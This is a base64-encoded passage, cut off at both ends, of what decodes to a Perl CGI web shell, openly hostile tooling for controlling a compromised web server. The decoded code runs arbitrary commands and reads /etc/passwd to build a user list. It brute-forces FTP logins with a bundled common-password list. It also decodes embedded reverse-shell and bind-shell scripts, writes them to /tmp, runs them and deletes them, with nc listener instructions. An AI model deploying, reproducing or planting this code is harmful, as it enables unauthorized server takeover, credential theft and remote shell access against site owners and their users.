XB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIjxmb250IGNvbG9yPScjRkZGRkZGJz5bYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQ8L2ZvbnQ+ICI7DQoJJHJlYWQ9KCRXaW5OVCk/InR5cGUiOiJsZXNzIjsNCgkkUnVuQ29tbWFuZCA9ICIkcmVhZCBcIiRSdW5Db21tYW5kXCIiOw0KCSRyZXN1bHQgLj0gIDw8RU5EOw0KCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KDQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCgkkUHJvbXB0DQoJPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjQwIiBuYW1lPSJjIj4NCgk8aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPg0KCTxicj5Db21tYW5kOiA8cnVuPiAkUnVuQ29tbWFuZCA8L3J1bj4NCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJGZpbGUiID4gJHNhdmUgPGJyPiAkbXNnDQoJPGJyPjx0ZXh0YXJlYSBpZD0iZGF0YSIgbmFtZT0iZGF0YSIgY29scz0iJGNvbHMiIHJvd3M9IiRyb3dzIiBzcGVsbGNoZWNrPSJmYWxzZSI+DQpFTkQNCgkNCgkkcmVzdWx0IC49ICZSdW5DbWQ7DQoJJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE+IjsNCgkkcmVzdWx0IC49ICAiPC9mb3JtPiI7DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQojIFNhdmUgRmlsZQ0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0Kc3ViIFNhdmVGaWxlKCQpDQp7DQoJbXkgJERhdGE9IHNoaWZ0IDsNCglteSAkRmlsZT0gc2hpZnQ7DQoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJEZpbGU7DQoJaWYob3BlbihGSUxFLCAiPiRGaWxlIikpDQoJew0KCQliaW5tb2RlIEZJTEU7DQoJCXByaW50IEZJTEUgJERhdGE7DQoJCWNsb3NlIEZJTEU7DQoJCXJldHVybiAxOw0KCX1lbHNlDQoJew0KCQlyZXR1cm4gMDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJydXRlIEZvcmNlciBGb3JtDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQnJ1dGVGb3JjZXJGb3JtDQp7DQoJbXkgJHJlc3VsdD0iIjsNCgkkcmVzdWx0IC49IDw8RU5EOw0KDQo8dGFibGU+DQoNCjx0cj4NCjx0ZCBjb2xzcGFuPSIyIiBhbGlnbj0iY2VudGVyIj4NCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIzxicj4NClNpbXBsZSBGVFAgYnJ1dGUgZm9yY2VyPGJyPg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJydXRlZm9yY2VyIi8+DQo8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD5Vc2VyOjxicj48dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJ1c2VyIj4NCkVORA0KY2hvcCgkcmVzdWx0IC49IGBsZXNzIC9ldGMvcGFzc3dkIHwgY3V0IC1kOiAtZjFgKTsNCiRyZXN1bHQgLj0gPDwnRU5EJzsNCjwvdGV4dGFyZWE+PC90ZD4NCjx0ZD4NCg0KUGFzczo8YnI+DQo8dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJwYXNzIj4xMjNwYXNzDQoxMjMhQCMNCjEyM2FkbWluDQoxMjNhYmMNCjEyMzQ1NmFkbWluDQoxMjM0NTU0MzIxDQoxMjM0NDMyMQ0KcGFzczEyMw0KYWRtaW4NCmFkbWluY3ANCmFkbWluaXN0cmF0b3INCm1hdGtoYXUNCnBhc3NhZG1pbg0KcEBzc3dvcmQNCnBAc3N3MHJkDQpwYXNzd29yZA0KMTIzNDU2DQoxMjM0NTY3DQoxMjM0NTY3OA0KMTIzNDU2Nzg5DQoxMjM0NTY3ODkwDQoxMTExMTENCjAwMDAwMA0KMjIyMjIyDQozMzMzMzMNCjQ0NDQ0NA0KNTU1NTU1DQo2NjY2NjYNCjc3Nzc3Nw0KODg4ODg4DQo5OTk5OTkNCjEyMzEyMw0KMjM0MjM0DQozNDUzNDUNCjQ1NjQ1Ng0KNTY3NTY3DQo2Nzg2NzgNCjc4OTc4OQ0KMTIzMzIxDQo0NTY2NTQNCjY1NDMyMQ0KNzY1NDMyMQ0KODc2NTQzMjENCjk4NzY1NDMyMQ0KMDk4NzY1NDMyMQ0KYWRtaW4xMjMNCmFkbWluMTIzNDU2DQphYmNkZWYNCmFiY2FiYw0KIUAjIUAjDQohQCMkJV4NCiFAIyQlXiYqKA0KIUAjJCQjQCENCmFiYzEyMw0KYW5oeWV1ZW0NCmlsb3ZleW91PC90ZXh0YXJlYT4NCjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPg0KU2xlZXA6PHNlbGVjdCBuYW1lPSJzbGVlcCI+DQoNCjxvcHRpb24+MDwvb3B0aW9uPg0KPG9wdGlvbj4xPC9vcHRpb24+DQo8b3B0aW9uPjI8L29wdGlvbj4NCg0KPG9wdGlvbj4zPC9vcHRpb24+DQo8L3NlbGVjdD4gDQo8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic3VibWl0IiB2YWx1ZT0iQnJ1dGUgRm9yY2VyIi8+PC90ZD48L3RyPg0KPC9mb3JtPg0KPC90YWJsZT4NCkVORA0KcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJydXRlIEZvcmNlcg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJydXRlRm9yY2VyDQp7DQoJbXkgJHJlc3VsdD0iIjsNCgkkU2VydmVyPSRFTlZ7J1NFUlZFUl9BRERSJ307DQoJaWYoJGlueyd1c2VyJ30gZXEgIiIpDQoJew0KCQkkcmVzdWx0IC49ICZCcnV0ZUZvcmNlckZvcm07DQoJfWVsc2UNCgl7DQoJCXVzZSBOZXQ6OkZUUDsgDQoJCUB1c2VyPSBzcGxpdCgvXG4vLCAkaW57J3VzZXInfSk7DQoJCUBwYXNzPSBzcGxpdCgvXG4vLCAkaW57J3Bhc3MnfSk7DQoJCWNob21wKEB1c2VyKTsNCgkJY2hvbXAoQHBhc3MpOw0KCQkkcmVzdWx0IC49ICI8YnI+PGJyPlsrXSBUcnlpbmcgYnJ1dGUgJFNlcnZlck5hbWU8YnI+PT09PT09PT09PT09PT09PT09PT0+Pj4+Pj4+Pj4+Pj48PDw8PDw8PDw8PT09PT09PT09PT09PT09PT09PT08YnI+PGJyPlxuIjsNCgkJZm9yZWFjaCAkdXNlcm5hbWUgKEB1c2VyKQ0KCQl7DQoJCQlpZighKCR1c2VybmFtZSBlcSAiIikpDQoJCQl7DQoJCQkJZm9yZWFjaCAkcGFzc3dvcmQgKEBwYXNzKQ0KCQkJCXsNCgkJCQkJJGZ0cCA9IE5ldDo6RlRQLT5uZXcoJFNlcnZlcikgb3IgZGllICJDb3VsZCBub3QgY29ubmVjdCB0byAkU2VydmVyTmFtZVxuIjsgDQoJCQkJCWlmKCRmdHAtPmxvZ2luKCIkdXNlcm5hbWUiLCIkcGFzc3dvcmQiKSkNCgkJCQkJew0KCQkJCQkJJHJlc3VsdCAuPSAiPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2Z0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXInPlsrXSBmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyPC9hPjxicj5cbiI7DQoJCQkJCQkkZnRwLT5xdWl0KCk7DQoJCQkJCQlicmVhazsNCgkJCQkJfQ0KCQkJCQlpZighKCRpbnsnc2xlZXAnfSBlcSAiMCIpKQ0KCQkJCQl7DQoJCQkJCQlzbGVlcChpbnQoJGlueydzbGVlcCd9KSk7DQoJCQkJCX0NCgkJCQkJJGZ0cC0+cXVpdCgpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQkkcmVzdWx0IC49ICJcbjxicj49PT09PT09PT09Pj4+Pj4+Pj4+PiBGaW5pc2hlZCA8PDw8PDw8PDw8PT09PT09PT09PTxicj5cbiI7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBCYWNrY29ubmVjdCBGb3JtDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQmFja0JpbmRGb3JtDQp7DQoJcmV0dXJuIDw8RU5EOw0KCTxicj48YnI+DQoNCgk8dGFibGU+DQoJPHRyPg0KCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KCTx0ZD5CYWNrQ29ubmVjdDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPg0KCTx0ZD4gSG9zdDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjIwIiBuYW1lPSJjbGllbnRhZGRyIiB2YWx1ZT0iJEVOVnsnUkVNT1RFX0FERFInfSI+DQoJIFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI3IiBuYW1lPSJjbGllbnRwb3J0IiB2YWx1ZT0iODAiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiYScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+PC90ZD4NCg0KCTx0ZD48aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJDb25uZWN0Ij48L3RkPg0KCTwvZm9ybT4NCgk8L3RyPg0KCTx0cj4NCgk8dGQgY29sc3Bhbj0zPjxmb250IGNvbG9yPSNGRkZGRkY+WytdIENsaWVudCBsaXN0ZW4gYmVmb3JlIGNvbm5lY3QgYmFjayENCgk8YnI+WytdIFRyeSBjaGVjayB5b3VyIFBvcnQgd2l0aCA8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvIj5odHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy88L2E+DQoJPGJyPlsrXSBDbGllbnQgbGlzdGVuIHdpdGggY29tbWFuZDogPHJ1bj5uYyAtdnYgLWwgLXAgPHNwYW4gaWQ9ImJhIj44MDwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4NCg0KCTwvdHI+DQoJPC90YWJsZT4NCg0KCTxicj48YnI+DQoJPHRhYmxlPg0KCTx0cj4NCgk8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCgk8dGQ+QmluZCBQb3J0OiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYmFja2JpbmQiPjwvdGQ+DQoNCgk8dGQ+IFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjE0MTIiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiaScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+DQoNCgkgUGFzc3dvcmQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iYmluZHBhc3MiIHZhbHVlPSJUSElFVUdJQUJVT04iPjwvdGQ+DQoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkJpbmQiPjwvdGQ+DQoJPC9mb3JtPg0KCTwvdHI+DQoJPHRyPg0KCTx0ZCBjb2xzcGFuPTM+PGZvbnQgY29sb3I9I0ZGRkZGRj5bK10gQ2h1YyBuYW5nIGNodWEgZGMgdGVzdCENCgk8YnI+WytdIFRyeSBjb21tYW5kOiA8cnVuPm5jICRFTlZ7J1NFUlZFUl9BRERSJ30gPHNwYW4gaWQ9ImJpIj4xNDEyPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPg0KDQoJPC90cj4NCgk8L3RhYmxlPjxicj4NCkVORA0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBCYWNrY29ubmVjdCB1c2UgcGVybA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJhY2tCaW5kDQp7DQoJdXNlIE1JTUU6OkJhc2U2NDsNCgl1c2UgU29ja2V0OwkNCgkkYmFja3Blcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdTVTg2T2xOdlkydGxkRHNOQ2lSVGFHVnNiQWs5SUNJdlltbHVMMkpoYzJnaU93MEtKRUZTUjBNOVFFRlNSMVk3RFFwMWMyVWdVMjlqYTJWME93MEtkWE5sSUVacGJHVklZVzVrYkdVN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2daMlYwY0hKdmRHOWllVzVoYldVb0luUmpjQ0lwS1NCdmNpQmthV1VnY0hKcGJuUWdJbHN0WFNCVmJtRmliR1VnZEc4Z1VtVnpiMngyWlNCSWIzTjBYRzRpT3cwS1kyOXVibVZqZENoVFQwTkxSVlFzSUhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQnBibVYwWDJGMGIyNG9KRUZTUjFaYk1GMHBLU2tnYjNJZ1pHbGxJSEJ5YVc1MElDSmJMVjBnVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1FnU0c5emRGeHVJanNOQ25CeWFXNTBJQ0pEYjI1dVpXTjBaV1FoSWpzTkNsTlBRMHRGVkMwK1lYVjBiMlpzZFhOb0tDazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENJK0psTlBRMHRGVkNJcE93MEtiM0JsYmloVFZFUkZVbElzSWo0bVUwOURTMFZVSWlrN0RRcHdjbWx1ZENBaUxTMDlQU0JEYjI1dVpXTjBaV1FnUW1GamEyUnZiM0lnUFQwdExTQWdYRzVjYmlJN0RRcHplWE4wWlcwb0luVnVjMlYwSUVoSlUxUkdTVXhGT3lCMWJuTmxkQ0JUUVZaRlNFbFRWQ0E3WldOb2J5QW5XeXRkSUZONWMzUmxiV2x1Wm04NklDYzdJSFZ1WVcxbElDMWhPMlZqYUc4N1pXTm9ieUFuV3l0ZElGVnpaWEpwYm1adk9pQW5PeUJwWkR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JFYVhKbFkzUnZjbms2SUNjN0lIQjNaRHRsWTJodk95QmxZMmh2SUNkYksxMGdVMmhsYkd3NklDYzdKRk5vWld4c0lpazdEUXBqYkc5elpTQlRUME5MUlZRNyI7DQoJJGJpbmRwZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkVGU1IwTTlRRUZTUjFZN0RRb2tjRzl5ZEFrOUlDUkJVa2RXV3pCZE93MEtKSEJ5YjNSdkNUMGdaMlYwY0hKdmRHOWllVzVoYldVb0ozUmpjQ2NwT3cwS0pGTm9aV3hzQ1QwZ0lpOWlhVzR2WW1GemFDSTdEUXB6YjJOclpYUW9VMFZTVmtWU0xDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLVzl5SUdScFpTQWljMjlqYTJWME9pUWhJanNOQ25ObGRITnZZMnR2Y0hRb1UwVlNWa1ZTTENCVFQweGZVMDlEUzBWVUxDQlRUMTlTUlZWVFJVRkVSRklzSUhCaFkyc29JbXdpTENBeEtTbHZjaUJrYVdVZ0luTmxkSE52WTJ0dmNIUTZJQ1FoSWpzTkNtSnBibVFvVTBWU1ZrVlNMQ0J6YjJOcllXUmtjbDlwYmlna2NHOXlkQ3dnU1U1QlJFUlNYMEZPV1NrcGIzSWdaR2xsSUNKaWFXNWtPaUFrSVNJN0RRcHNhWE4wWlc0b1UwVlNWa1ZTTENCVFQwMUJXRU5QVGs0cENRbHZjaUJrYVdVZ0lteHBjM1JsYmpvZ0pDRWlPdzBLWm05eUtEc2dKSEJoWkdSeUlEMGdZV05qWlhCMEtFTk1TVVZPVkN3Z1UwVlNWa1ZTS1RzZ1kyeHZjMlVnUTB4SlJVNVVLUTBLZXcwS0NXOXdaVzRvVTFSRVNVNHNJQ0krSmtOTVNVVk9WQ0lwT3cwS0NXOXdaVzRvVTFSRVQxVlVMQ0FpUGlaRFRFbEZUbFFpS1RzTkNnbHZjR1Z1S0ZOVVJFVlNVaXdnSWo0bVEweEpSVTVVSWlrN0RRb0pjM2x6ZEdWdEtDSjFibk5sZENCSVNWTlVSa2xNUlRzZ2RXNXpaWFFnVTBGV1JVaEpVMVFnTzJWamFHOGdKMXNyWFNCVGVYTjBaVzFwYm1adk9pQW5PeUIxYm1GdFpTQXRZVHRsWTJodk8yVmphRzhnSjFzclhTQlZjMlZ5YVc1bWJ6b2dKenNnYVdRN1pXTm9ienRsWTJodklDZGJLMTBnUkdseVpXTjBiM0o1T2lBbk95QndkMlE3WldOb2J6c2daV05vYnlBbld5dGRJRk5vWld4c09pQW5PeVJUYUdWc2JDSXBPdzBLQ1dOc2IzTmxLRk5VUkVsT0tUc05DZ2xqYkc5elpTaFRWRVJQVlZRcE93MEtDV05zYjNObEtGTlVSRVZTVWlrN0RRcDlEUW89IjsNCg0KCSRDbGllbnRBZGRyID0gJGlueydjbGllbnRhZGRyJ307DQoJJENsaWVudFBvcnQgPSBpbnQoJGlueydjbGllbnRwb3J0J30pOw0KCWlmKCRDbGllbnRQb3J0IGVxIDApDQoJew0KCQlyZXR1cm4gJkJhY2tCaW5kRm9ybTsNCgl9ZWxzaWYoISRDbGllbnRBZGRyIGVxICIiKQ0KCXsNCgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmFja3BlcmwpOw0KCQlpZigtdyAiL3RtcC8iKQ0KCQl7DQoJCQkkRmlsZT0iL3RtcC9iYWNrY29ubmVjdC5wbCI7CQ0KCQl9ZWxzZQ0KCQl7DQoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmFja2Nvbm5lY3QucGwiOw0KCQl9DQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOw0KCQlwcmludCBGSUxFICREYXRhOw0KCQljbG9zZSBGSUxFOw0KCQlzeXN0ZW0oInBlcmwgYmFja2Nvbm5lY3QucGwgJENsaWVudEFkZHIgJENsaWVudFBvcnQiKTsNCgkJdW5saW5rKCRGaWxlKTsNCgkJZXhpdCAwOw0KCX1lbHNlDQoJew0KCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiaW5kcGVybCk7DQoJCWlmKC13ICIvdG1wIikNCgkJew0KCQkJJEZpbGU9Ii90bXAvYmluZHBvcnQucGwiOwkNCgkJfWVsc2UNCgkJew0KCQkJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuImJpbmRwb3J0LnBsIjsNCgkJfQ0KCQlvcGVuKEZJTEUsICI+JEZpbGUiKTsNCgkJcHJpbnQgRklMRSAkRGF0YTsNCgkJY2xvc2UgRklMRTsNCgkJc3lzdGVtKCJwZXJsIGJpbmRwb3J0LnBsICRDbGllbnRQb3J0Iik7DQoJCXVubGluaygkRmlsZSk7DQoJCWV4aXQgMDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojICBBcnJheSBMaXN0IERpcmVjdG9yeQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJtRGlyKCQpIA0Kew0KCW15ICRkaXIgPSBzaGlmdDsNCiAgICBpZihvcGVuZGlyKERJUiwkZGlyKSkNCgl7DQoJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQ0KCQl7DQoJCQlpZigoJGZpbGUgbmUgIi4iKSAmJiAoJGZpbGUgbmUgIi4uIikpDQoJCQl7DQoJCQkJJGZpbGU9ICRkaXIuJFBhdGhTZXAuJGZpbGU7DQoJCQkJaWYoLWQgJGZpbGUpDQoJCQkJew0KCQkJCQkmUm1EaXIoJGZpbGUpOw0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQl1bmxpbmsoJGZpbGUpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQljbG9zZWRpcihESVIpOw0KCX0NCglpZighcm1kaXIoJGRpcikpDQoJew0KCQkNCgl9DQp9DQpzdWIgRmlsZU93bmVyKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglpZigtZSAkZmlsZSkNCgl7DQoJCSgkdWlkLCRnaWQpID0gKHN0YXQoJGZpbGUpKVs0LDVdOw0KCQlpZigkV2luTlQpDQoJCXsNCgkJCXJldHVybiAiPz8/IjsNCgkJfQ0KCQllbHNlDQoJCXsNCgkJCSRuYW1lPWdldHB3dWlkKCR1aWQpOw0KCQkJJGdyb3VwPWdldGdyZ2lkKCRnaWQpOw0KCQkJcmV0dXJuICRuYW1lLiIvIi4kZ3JvdXA7DQoJCX0NCgl9DQoJcmV0dXJuICI/Pz8iOw0KfQ0Kc3ViIFBhcmVudEZvbGRlcigkKQ0Kew0KCW15ICRwYXRoID0gc2hpZnQ7DQoJbXkgJENvbW0gPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAuLiIuJENtZFNlcC4kQ21kUHdkOw0KCWNob3AoJHBhdGggPSBgJENvbW1gKTsNCglyZXR1cm4gJHBhdGg7DQp9DQpzdWIgRmlsZVBlcm1zKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglteSAkdXIgPSAiLSI7DQoJbXkgJHV3ID0gIi0iOw0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJaWYoJFdpbk5UKQ0KCQl7DQoJCQlpZigtciAkZmlsZSl7ICR1ciA9ICJyIjsgfQ0KCQkJaWYoLXcgJGZpbGUpeyAkdXcgPSAidyI7IH0NCgkJCXJldHVybiAkdXIgLiAiIC8gIiAuICR1dzsNCgkJfWVsc2UNCgkJew0KCQkJJG1vZGU9KHN0YXQoJGZpbGUpKVsyXTsNCgkJCSRyZXN1bHQgPSBzcHJpbnRmKCIlMDRvIiwgJG1vZGUgJiAwNzc3Nyk7DQoJCQlyZXR1cm4gJHJlc3VsdDsNCgkJfQ0KCX0NCglyZXR1cm4gIjAwMDAiOw0KfQ0Kc3ViIEZpbGVMYXN0TW9kaWZpZWQoJCkNCnsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJKCRsYSkgPSAoc3RhdCgkZmlsZSkpWzldOw0KCQkoJGQsJG0sJHksJGgsJGkpID0gKGxvY2FsdGltZSgkbGEpKVszLDQsNSwyLDFdOw0KCQkkeSA9ICR5ICsgMTkwMDsNCgkJQG1vbnRoID0gcXcvMSAyIDMgNCA1IDYgNyA4IDkgMTAgMTEgMTIvOw0KCQkkbG10aW1lID0gc3ByaW50ZigiJTAyZC8lcy8lNGQgJTAyZDolMDJkIiwkZCwkbW9udGhbJG1dLCR5LCRoLCRpKTsNCgkJcmV0dXJuICRsbXRpbWU7DQoJfQ0KCXJldHVybiAiPz8/IjsNCn0NCnN1YiBGaWxlU2l6ZSgkKQ0Kew0KCW15ICRmaWxlID0gc2hpZnQ7DQoJaWYoLWYgJGZpbGUpDQoJew0KCQlyZXR1cm4gLXMgJGZpbGU7DQoJfQ0KCXJldHVybiAiMCI7DQoNCn0NCnN1YiBQYXJzZUZpbGVTaXplKCQpDQp7DQoJbXkgJHNpemUgPSBzaGlmdDsNCglpZigkc2l6ZSA8PSAxMDI0KQ0KCXsNCgkJcmV0dXJuICRzaXplLiAiIEIiOw0KCX0NCgllbHNlDQoJew0KCQlpZigkc2l6ZSA8PSAxMDI0KjEwMjQpIA0KCQl7DQoJCQkkc2l6ZSA9IHNwcmludGYoIiUuMDJmIiwkc2l6ZSAvIDEwMjQpOw0KCQkJcmV0dXJuICRzaXplLiIgS0IiOw0KCQl9DQoJCWVsc2UgDQoJCXsNCgkJCSRzaXplID0gc3ByaW50ZigiJS4yZiIsJHNpemUgLyAxMDI0IC8gMTAyNCk7DQoJCQlyZXR1cm4gJHNpemUuIiBNQiI7DQoJCX0NCgl9DQp9DQpzdWIgdHJpbSgkKQ0Kew0KCW15ICRzdHJpbmcgPSBzaGlmdDsNCgkkc3RyaW5nID1+IHMvXlxzKy8vOw0KCSRzdHJpbmcgPX4gcy9ccyskLy87DQoJcmV0dXJuICRzdHJpbmc7DQp9DQpzdWIgQWRkU2xhc2hlcygkKQ0Kew0KCW15ICRzdHJpbmcgPSBzaGlmdDsNCgkkc3RyaW5nPX4gcy9cXC9cXFxcL2c7DQoJcmV0dXJuICRzdHJpbmc7DQp9DQpzdWIgTGlzdERpcg0Kew0KCW15ICRwYXRoID0gJEN1cnJlbnREaXIuJFBhdGhTZXA7DQoJJHBhdGg9fiBzL1xcXFwvXFwvZzsNCglteSAkcmVzdWx0ID0gIjxmb3JtIG5hbWU9J2YnIGFjdGlvbj0nJFNjcmlwdExvY2F0aW9uJz48c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPlBhdGg6IFsgIi4mQWRkTGlua0RpcigiZ3VpIikuIiBdIDwvc3Bhbj48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZCcgc2l6ZT0nNDAnIHZhbHVlPSckQ3VycmVudERpcicgLz48aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdhJyB2YWx1ZT0nZ3VpJz48aW5wdXQgY2xhc3M9J3N1Ym1pdCcgdHlwZT0nc3VibWl0JyB2YWx1ZT0nQ2hhbmdlJz48L2Zvcm0+IjsNCglpZigtZCAkcGF0aCkNCgl7DQoJCW15IEBmbmFtZSA9ICgpOw0KCQlteSBAZG5hbWUgPSAoKTsNCgkJaWYob3BlbmRpcihESVIsJHBhdGgpKQ0KCQl7DQoJCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSkNCgkJCXsNCgkJCQkkZj0kcGF0aC4kZmlsZTsNCgkJCQlpZigtZCAkZikNCgkJCQl7DQoJCQkJCXB1c2goQGRuYW1lLCRmaWxlKTsNCgkJCQl9DQoJCQkJZWxzZQ0KCQkJCXsNCgkJCQkJcHVzaChAZm5hbWUsJGZpbGUpOw0KCQkJCX0NCgkJCX0NCgkJCWNsb3NlZGlyKERJUik7DQoJCX0NCgkJQGZuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGZuYW1lOw0KCQlAZG5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZG5hbWU7DQoJCSRyZXN1bHQgLj0gIjxkaXY+PHRhYmxlIHdpZHRoPSc5MCUnIGNsYXNzPSdsaXN0ZGly